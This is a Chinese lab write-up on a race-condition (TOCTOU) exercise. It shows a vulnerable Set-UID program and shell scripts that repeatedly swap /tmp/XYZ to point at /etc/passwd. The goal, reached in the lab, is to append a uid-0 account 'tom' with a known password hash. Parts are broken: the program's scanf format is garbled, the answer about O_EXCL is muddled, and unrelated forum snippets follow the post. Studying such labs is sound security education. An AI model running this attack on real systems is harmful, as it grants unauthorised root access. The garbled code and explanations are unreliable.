Race_Condition实验

//csdn博客目前暂时不再更新了,有兴趣请访问我的技术博客-晓的博客:zhangxiaolong.org 

   今天做了第二个实验,是条件竞争实验。首先呢,先思考以下两个问题:

1、linux下用open函数打开文件时,要是采用O_WRONLY模式为何容易产生竞争条件漏洞?换成O_WRONLY | O_CREAT | O_EXCL 模式后情况会如何?

解答:open函数用来打开一个设备,他返回的是一个整型变量,如果这个值等于-1,说明打开文件出现错误,如果为大于0的值, 参考格式>

 int open(const char *pathname, int oflag, …/*, mode_t mode * / ) ;

 打开的操作类型有如下几种

   1) O_RDONLY 只读打开

   2) O_WRONLY 只写打开

   3) O_RDWR 读、写打开

 采用O_WRONLY模式用open函数打开文件时,root总是可以创建文件,即便锁文件已经存在,这意味着该锁不能为root正常工作。换成O_WRONLY | O_CREAT | O_EXCL 模式后,就将权限设置为0,使同一用户的其他进程无法获得锁。

2、阅读一篇文章“从一个漏洞谈到ptrace的漏洞发现及利用方法”,地址为http://www.xfocus.net/articles/200304/503.html。描述其中的竞争条件漏洞出现的原因。

解答:代码是在内核线程exec_modprobe()的上下文运行的,程序的current指向这个内核线程的task_struct结构,而与创建这个线程时的current不同,那时候的current指向当时的当前进程,即exec_modprobe()的父进程。内核线程exec_modprobe()从其父进程继承了绝大部分资源和特性,包括它的fs_struct的内容和打开的所有文件,以及它的进程号、组号,还有所有的特权。但是这些特性在这个函数里大多被拚弃了(见源码的19行到42行,这里设置了该内核线程的信号、euid   
、egid等,使之变成超级用户),不过在拚弃这些特性之前之前,我们的父进程,或同组进程是应该可以调试该内核线程的。漏洞也就在这里。

在学习完这两个问题之后,我们开始做这个实验。

1.竞争漏洞程序

   下面的这个程序,表面上看起来似乎是完美的,但实际上它具有竞争漏洞。

//vulp.c
#include <stdio.h>`
#include <unistd.h>
#include <string.h>
#define DELAY 10000
int main()
{
     char * fn = "/tmp/XYZ";
     char buffer[160];
     FILE *fp;
     long int  i;
     //get user input
     scanf("0s", buffer );
     if(!access(fn, W_OK))
     {
     //simulating delay
            for (i=0; i < DELAY; i++)
            {
          int a = i^2;
            }
            fp = fopen(fn, "a+");
            fwrite("\n", sizeof(char), 1, fp);
            fwrite(buffer, sizeof(char), strlen(buffer), fp);
            fclose(fp);
   }
   else
            printf("No permission \n");
}

分析:

这是一个Set-UID Root程序,它的目的是向临时文件/tmp/XYZ中追加一个字符串。既然这段程序是以root权限运行,那么它会仔细的核查真正的使用者是否具有写这 个文件的权限,这就是函数access()调用的目的,如果它核实了使用者确实有这个权限,那么它会允许用户向/tmp/XYZ中追加输入的数据。在核查权限(access)和打开文件(fopen)之间存在一段时间,那么就会
存在一种可能:核实的文件和打开的文件已经不是同一个文件了,虽然它们有相同的/tmp/XYZ符号链接。 

2. 利用竞争漏洞

    利用程序vulp.c中的竞争漏洞,其中一种是利用这种漏洞向/etc/passwd和/etc/shadow添加信息。这两个文件都是 unix系统向用户的授权文件,如果黑客能够向这两个文件中添加程序,那么它们就完全有能力创建新的使用者,包括系统管理员用户(通过令uid为0)

    /etc/passwd文件是unix系统的授权数据库文件,它包含用户的基本属性。它是一个ascii码流文件,它的每一个行定义了一个用户的基本属性。

它的每一行的格式如下:

Username:password:uid:guid:gecos:homedir:shell

备注:Gecos:用来存储用户的一些杂项信息,比如用户的全名,办公室地址,办公电话和家庭电话,也可以是一个简短的文本信息。存储在这个字段中的数据时以逗号分隔的,用于用cgfn(change finger for short )命令修改这个字段。

具体的例子:

Andrew:x:1000:1000:Andrew Hudson,17,0123455,124244455:/home/Andrew:/bin/bash

注意所有的passwd字段都不会直接显示口令,而只是显示一个x,这些口令都会加密之后存放在/etc/shadow中。这主要是为了增加Unix的安全性考虑,如果不考虑安全性的话,完全可以把加密之后的密码放在/etc/passwd中的passwd字段中。

在实验中,我在/etc/passwd中加入了一下一行:

tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash 来获取root权限。

其中ttXydORJt50wQ是test的加密之后的密文。

可以运行perl脚本:

perl –e ‘print crypt(“test”,“tt”).“\n”’

来获取加密之后的密文ttXydORJt50wQ

我的目标就是在普通用户权限下攻击vulp.c的竞争漏洞,成功之后在/etc/passwd文件中追加一行:

tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash

注意:

追加tom用户的uid和uid均为0,所以我建立的tom目录获取到了root权限.因为我直接把tom的密码test的密文直接写在/etc/passwd的passwd字段中,所以我就没有必要再去修改/etc/shadow文件了。

攻击步骤:

第一步:建立符合连接

   可以利用“ln -s”命令手动建立符号链接,也可以用C函数symlink在程序中建立符合链接。既然Linux不允许我们在旧链接已经存在的情况下建立链接,我们首先要删除旧的链接。

下面的C代码简单的指明了如何删除一个链接,然后使得/tmp/XYZ指向/etc/passwd:

unlink(“/tmp/XYZ”);

symlink(“/etc/passwd”, “/tmp/XYZ”);

竞争漏洞攻击的最重要的步骤是在核实和打开文件的时间间隔内,让符号链接指向我们设定的目标文件,即在vulp.c的access和fopen之间让/tmp/XYZ指向/etc/passwd.

第二步:运行攻击脚本

 攻击脚本attack.sh如下:

#!/bin/sh
race()
{
  old=`ls -l /etc/passwd`
  new=`ls -l /etc/passwd`
#  when we modify the passwd successfully, the attack stops
  while [ "$old" = "$new" ]
  do
#  because when the synlink already exists, we can't modify the symlink,
#  so before change the symlink, we should rm the old one
       rm -f /tmp/XYZ
       >/tmp/XYZ
       ln -sf /etc/passwd /tmp/XYZ
       new=`ls -l /etc/passwd`
#     echo $new
#     echo $old
  done
}
race
echo "Stop...The passwd has been changed!"
RACE_PID=$!
kill $RACE_PID 

调用vulp程序的run,sh脚本:

#/bin/sh
race()
{
  while true
  do
  ./vulp <attack_input
  done
}
race
RACE_PID=$!
kill $RACE_PID

第三步:attack_input文件中存放的是:tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash,循环攻击vulp程序的目的是向/etc/passwd写入attack_input文件的数据,使新增的tom用户具有root权限。 

3.实验结果截图

 如图一所示:在zxl文件夹中,一共建立5个文件,分别为:攻击脚本attack.sh,攻击脚本替换输入attack_input,检查攻击是否成功的脚本check.sh,运行追加字符串的程序run.sh ,追加字符串传的程序vulp,且有s权限。其他程序都必须为可执行的文件,用sudo chmod +x /文件名 操作进行修改。

                                                                       图 1

如图2所示,运行Run.sh脚本。它会一直循环运行程序vulp。

                                                                       图 2

如图3所示,运行攻击脚本attack.sh。如果成功会显示如下提示,说明有内容写入到passwd文件中。

                                                                    图 3

如图4所示,在/etc/passwd文件中可以看到,有tom用户写入,并且具有管理员的权限。

                                                                          图4

 

时间: 2024-11-17 01:54:10

Race_Condition实验的相关文章

可以推荐一个实验用IC读写器吗,学生用,不用太贵,可实现想要的简单功能

问题描述 可以推荐一个实验用IC读写器吗,学生用,不用太贵,可实现想要的简单功能 想给读写器加上一点自己想要的功能,譬如说刷卡时加上语音提示,不知道选用那个读写器,可以推荐一个吗,谢谢 解决方案 可以联系我,聊聊..

线程-操作系统,进程同步实验的问题

问题描述 操作系统,进程同步实验的问题 操作系统 进程同步 实验中 我们模拟了这一个小小的程序,如下: #include <stdio.h>#include <stdlib.h>#include <windows.h>int c1 = 0;int c2 = 0;int will_wait;int accnt1 = 0;int accnt2 = 0;DWORD WINAPI run1( LPVOID p ) { unsigned long counter = 0; int

关于数值分析的实验程序,用c语言c++均可,需要用到数值分析课相关知识,我可以提供部分资料

问题描述 关于数值分析的实验程序,用c语言c++均可,需要用到数值分析课相关知识,我可以提供部分资料 解决方案 我只想说 数据分析 不应该用MATLAB更方便吗? 解决方案二: http://wenku.baidu.com/link?url=ZAScYogajXHrTTRa5xjpUPtS7OQQXZ_LfXaWNkczTtWf2MJgx0RZFUuca4iRGUcPwtr4Um4AJObpWKl8dg5WS6fZdx6lfoES8JYcsJtcdgi 解决方案三: 数值分析各种算法C语言数值分

【驻云学院】云中沙箱自助实验之ECS系列

本文作者:驻云信息科技,鲍天舒 近几年,"云计算"已经成为互联网时尚标志.如果你不懂云计算,你的朋友圈会越来越小.如果你不了解阿里云,你会发现你已经在不知不觉中OUT了.当周围的朋友在津津乐道的探讨云计算,阿里云如之何如之何时,你是不是会羡慕呢?别着急,小编将带你一步步深入云计算和阿里云.   首先,小编普及下"云计算"的基本概念.关于"云计算"的定义,从事不同职业的人,对云计算解释也是不同的.真可谓仁者见仁,智者见智呀. 不过,关于"

实验一  简单词法分析程序设计

            实验一 简单词法分析程序设计   一.实验目的 了解词法分析程序的基本构造原理,掌握词法分析程序的手工构造方法. 二.实验内容 1.了解编译程序的词法分析过程. 2.根据PASCAL语言的说明语句形式,用手工方法构造一个对说明语句进行词法分析的程序.该程序能对从键盘输入或从文件读入的形如: "const count=10,sum=81.5,char1='f',string1="hj", max=169:" 的常量说明串进行处理,分析常量说明串

实验5 IIC通讯与AD/接DA接口

1.利用单片机控制PCF8591的AD转换,控制AD0和AD1电位器,在数码光上显示DA转换的值. 2.利用单片机控制PCF8591的DA转换,让发光二极管D1由暗到亮变化,整个过程时间差不多2s左右,再由亮到暗变化,循环变化.   以下代码将1.2实验合并成一个实验. Lab6.1 #include<reg51.h> #include <I2C.H>   #define  PCF8591 0x90    //PCF8591 地址 #define uchar unsigned ch

实验四 时序逻辑电路的VHDL设计

一.实验目的 熟悉QuartusⅡ的VHDL文本设计过程,学习简单时序逻辑电路的设计.仿真和测试方法. 二.实验 1. 基本命题 用VHDL文本设计触发器,触发器的类型可任选一种.给出程序设计.仿真分析.硬件测试及详细实验过程. ① 实验原理 由数电知识可知,D触发器由输入的时钟信号(CLK).数据输入口(D)和数据输出(Q)构成.本程序通过进程监视CLK和D\,当CLK为上升沿的时候,将D赋值给Q,要完成这个赋值操作,必须再借助一个信号S来进行值的传递. ② 程序设计 ③ 仿真分析 仿真预测:

ARM9学习笔记之——SDRAM实验

  最近,我有努力学习<深入浅出嵌入式底层软件开发>.我自我觉得这本书很好.如果你有一块Mini2440的开发板,那就再好不过了.     学了点东西,写点总结.以下是我在做 Page130,2.6.8内存驱动实验总结.     我按照书上的指示,完成了代码的编写.对项目作如下配置:     上述的配置中 -ro-base 0x30000000 告诉Linker,本程序将被加载到 0x30000000 上运行.     实验程序的功能是,程序最初是在0x00000000 地址上开始运行.它初始

vs2010,实验数据保存成自己定义的一个格式*tk,如何调用

问题描述 vs2010,实验数据保存成自己定义的一个格式*tk,如何调用 vs2010,实验数据保存成自己定义的一个格式*tk,如何调用